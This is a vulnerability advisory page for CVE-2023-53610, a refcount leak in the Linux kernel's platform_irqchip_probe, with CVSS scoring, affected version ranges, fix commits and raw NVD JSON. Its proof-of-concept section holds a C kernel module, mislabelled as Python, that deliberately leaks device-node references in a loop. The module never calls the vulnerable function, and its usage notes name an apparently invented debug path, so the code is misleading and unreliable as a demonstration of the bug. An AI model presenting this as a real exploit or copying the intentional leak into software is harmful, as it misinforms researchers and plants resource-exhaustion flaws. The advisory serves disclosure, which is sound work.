Security Vulnerability Report
中文
CVE-2023-53610 CVSS 5.5 MEDIUM

CVE-2023-53610

Published: 2025-10-04 16:15:58
Last Modified: 2026-03-17 16:42:48
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: irqchip: Fix refcount leak in platform_irqchip_probe of_irq_find_parent() returns a node pointer with refcount incremented, We should use of_node_put() on it when not needed anymore. Add missing of_node_put() to avoid refcount leak.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 修复提交4401b485855700f296cae4d0db36a52948bff4fa
Linux Kernel < 修复提交6caa5a2b78f5f53c433d3a3781e53325da22f0ac
Linux Kernel < 修复提交b00baffcc2561374f8fe8af873d00531f19864eb
Linux Kernel < 修复提交c32fb16331f612e66a7fa8930164e0dc15725b72
Linux Kernel < 修复提交ea54b608d85b7536f92238f3259730fa06cb5d21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2023-53610 PoC - Linux Kernel irqchip refcount leak * This PoC demonstrates triggering the refcount leak in platform_irqchip_probe * by repeatedly loading and unloading a platform device that uses irqchip. * * Note: Requires root privileges and kernel headers to compile. */ #include <linux/module.h> #include <linux/platform_device.h> #include <linux/of.h> #include <linux/of_irq.h> #include <linux/interrupt.h> #include <linux/slab.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2023-53610 irqchip refcount leak"); static int irqchip_probe_trigger(struct platform_device *pdev) { struct device_node *np = pdev->dev.of_node; struct device_node *parent; if (!np) return -ENODEV; /* * Call of_irq_find_parent() which increments refcount on returned node. * In vulnerable kernel, the missing of_node_put() causes refcount leak. * Repeat this call many times to accumulate leaked references. */ parent = of_irq_find_parent(np); if (!parent) { dev_err(&pdev->dev, "Failed to find IRQ parent\n"); return -EINVAL; } /* Intentionally do NOT call of_node_put(parent) to trigger leak */ /* of_node_put(parent); */ dev_info(&pdev->dev, "IRQ parent found (refcount leaked)\n"); return 0; } static int poc_probe(struct platform_device *pdev) { int i; int ret; /* Trigger the vulnerable code path multiple times */ for (i = 0; i < 1000; i++) { ret = irqchip_probe_trigger(pdev); if (ret < 0) return ret; } return 0; } static const struct of_device_id poc_of_match[] = { { .compatible = "arm,cortex-a9-gic", }, /* Example compatible string */ {}, }; MODULE_DEVICE_TABLE(of, poc_of_match); static struct platform_driver poc_driver = { .probe = poc_probe, .driver = { .name = "poc_irqchip_leak", .of_match_table = poc_of_match, }, }; module_platform_driver(poc_driver); /* * Compilation: * Make this as an out-of-tree kernel module. * Place a compatible device tree node or use an existing platform device. * * Usage: * insmod poc_irqchip_leak.ko * # Check /sys/kernel/debug/refcount_debug or kernel logs for leak warnings * rmmod poc_irqchip_leak */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53610", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:57.750", "lastModified": "2026-03-17T16:42:48.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nirqchip: Fix refcount leak in platform_irqchip_probe\n\nof_irq_find_parent() returns a node pointer with refcount incremented,\nWe should use of_node_put() on it when not needed anymore.\nAdd missing of_node_put() to avoid refcount leak."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.9", "versionEndExcluding": "5.10.173", "matchCriteriaId": "33BD88F7-0068-4600-BB9B-F3FF45D7CAD6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.99", "matchCriteriaId": "5B8B2AC9-2F31-4A0F-96F5-7E26B50B27BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.16", "matchCriteriaId": "0FD95FDA-6525-4B13-B3FB-49D9995FD8ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.3", "matchCriteriaId": "88C67289-22AD-4CA9-B202-5F5A80E5BA4B"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/4401b485855700f296cae4d0db36a52948bff4fa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6caa5a2b78f5f53c433d3a3781e53325da22f0ac", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b00baffcc2561374f8fe8af873d00531f19864eb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c32fb16331f612e66a7fa8930164e0dc15725b72", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ea54b608d85b7536f92238f3259730fa06cb5d21", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}